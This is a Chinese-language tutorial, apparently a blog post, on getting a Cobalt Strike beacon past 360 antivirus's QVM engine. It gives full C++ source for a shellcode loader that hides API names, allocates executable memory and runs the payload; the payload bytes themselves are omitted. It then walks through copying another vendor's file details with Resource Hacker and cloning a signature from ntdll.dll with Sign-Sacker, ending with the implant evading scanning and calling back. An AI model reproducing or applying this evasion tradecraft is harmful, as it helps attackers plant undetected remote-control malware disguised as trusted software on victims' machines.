详细信息,自签名

过360的QVM

QVM是360人工智能的一个引擎检测,QVM误报率会比较高一点,360说它是基于一个统计学的算法,类似于特征库?

我们用CS生成一段Shellcode,用以下Loader加载一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <iostream>
#include <windows.h>
using namespace std;

extern "C" SIZE_T GetKernel32();


int my_strcmp(const char* str1, const char* str2) {
while (*str1 != '\0' || *str2 != '\0') {
if (*str1 != *str2) {
return *str1 - *str2;
}
str1++;
str2++;
}
return 0;
}



SIZE_T MyGetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // function name
)
{

int i = 0;
PIMAGE_DOS_HEADER pImageDosHeader = NULL;
PIMAGE_NT_HEADERS pImageNtHeader = NULL;
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;

pImageDosHeader = (PIMAGE_DOS_HEADER)hModule;
pImageNtHeader = (PIMAGE_NT_HEADERS)((SIZE_T)hModule + pImageDosHeader->e_lfanew);
pImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((SIZE_T)hModule + pImageNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

DWORD* pAddressOfFunction = (DWORD*)(pImageExportDirectory->AddressOfFunctions + (SIZE_T)hModule);
DWORD* pAddressOfNames = (DWORD*)(pImageExportDirectory->AddressOfNames + (SIZE_T)hModule);
DWORD dwNumberOfNames = (DWORD)(pImageExportDirectory->NumberOfNames);
DWORD dwBase = (DWORD)(pImageExportDirectory->Base);

WORD* pAddressOfNameOrdinals = (WORD*)(pImageExportDirectory->AddressOfNameOrdinals + (SIZE_T)hModule);

//这个是查一下是按照什么方式(函数名称or函数序号)来查函数地址的
DWORD dwName = (SIZE_T)lpProcName;
for (i = 0; i < (int)dwNumberOfNames; i++)
{
char* strFunction = (char*)(pAddressOfNames[i] + (SIZE_T)hModule);
if (my_strcmp(lpProcName, strFunction) == 0)
{
return (pAddressOfFunction[pAddressOfNameOrdinals[i]] + (SIZE_T)hModule);
}
}

}

// 定义 CreateProcessA 的函数指针类型(多字节版本)
typedef BOOL(WINAPI* CreateProcessA_t)(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);

// 定义 GetProcAddress 的函数指针类型
typedef FARPROC(WINAPI* GetProcAddress_t)(HMODULE hModule, LPCSTR lpProcName);



typedef LPVOID(WINAPI* p_VirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);

int main()
{
unsigned char hexData[894] = {
//省略
};


HMODULE Kernel32_Base = (HMODULE)GetKernel32();
char VirtualAlloc_name[0x20] = { 'V','i','r','t','u','a,','l','A','l','l','o','c','\0'};
char GetProcAddress_name[0x20] = { 'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0' };
char User32[0x20] = { 'u','s','e','r','3','2','.','d','l','l','\0' };

char CreateProcess_name[0x20] = { 'C','r','e','a','t','e','P','r','o','c','e','s','s','A','\0' };
SIZE_T GetProcAddress_Func = MyGetProcAddress((HMODULE)Kernel32_Base, GetProcAddress_name);
p_VirtualAlloc VirtualAlloc_Func = (p_VirtualAlloc)MyGetProcAddress((HMODULE)Kernel32_Base, VirtualAlloc_name);

void* exec = VirtualAlloc_Func(0, sizeof(hexData), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, hexData, sizeof(hexData));
((void(*)())exec)();
return 0;
}

例如下面的代码就弹出了这个警报:

可以看到报错是QVM,而不是检测到CS

1729156217006

为了做一个对比,我们去生成一个由CS直接生成的exe,而不是shellcode,可以看到报的毒标着就是CS

1729163499928

那么如何过这个QVM呢?
查阅资料可以发现,360的这个QVM似乎非常依赖
1.详细信息 2.数字签名

给beacon加详细信息

这里先说一下,每一次我们写的马被杀掉以后,一定要重新编译一个,不要只是简单的改个名,因为可能被杀的马的特征(可能是md5),已经被360纳入本地特征库了,再启动去对比这个特征库,就会直接杀,所以我们随便改改就行

首先我们先要知道详细信息是什么:
例如我们找到一个exe右键,点击属性,里面就有详细信息,QVM非常吃这一套,你没有详细信息的话,就容易被杀,这可能跟一个打分机制有关系,如果它觉得你有问题,再加上没有详细信息,就很容易被杀

1729163873768

例如现在我们用CS生成的马,详细信息长这样,几乎是没有的

1729164160591

我们再去查看其他EXE长啥样,例如360杀毒的

可以看到,信息还是比较详细的

1729164225305

那么如何给自己的beacon添加详细信息呢?

我们利用resource_hacker.exe去偷别人的详细信息

首先将我们要添加详细信息的程序拖进resource_hacker

1729164290446

点击从资源文件添加,自己选一个程序,然后选择添加版本信息

1729164320459

可以看到现在已经变成360杀毒的详细信息了

1729164382668

给beacon添加数字签名

有时候给应用程序加上详细信息还不够,还要加上数字签名

这里用一个软件 langsasec/Sign-Sacker: Sign-Sacker(签名掠夺者):一款数字签名复制器,可将其他官方exe中数字签名,图标,详细信息复制到没有签名的exe中,作为免杀,权限维持,伪装的一种小手段。 (github.com)

例如我们利用这个软件,去把ntdll.dll的数字签名给拔下来

1729169275058

效果展示:

1729169257471

效果展示:

360云查杀过了

1729167754148

双击运行,也成功跑起来力,成功上线

1729169364678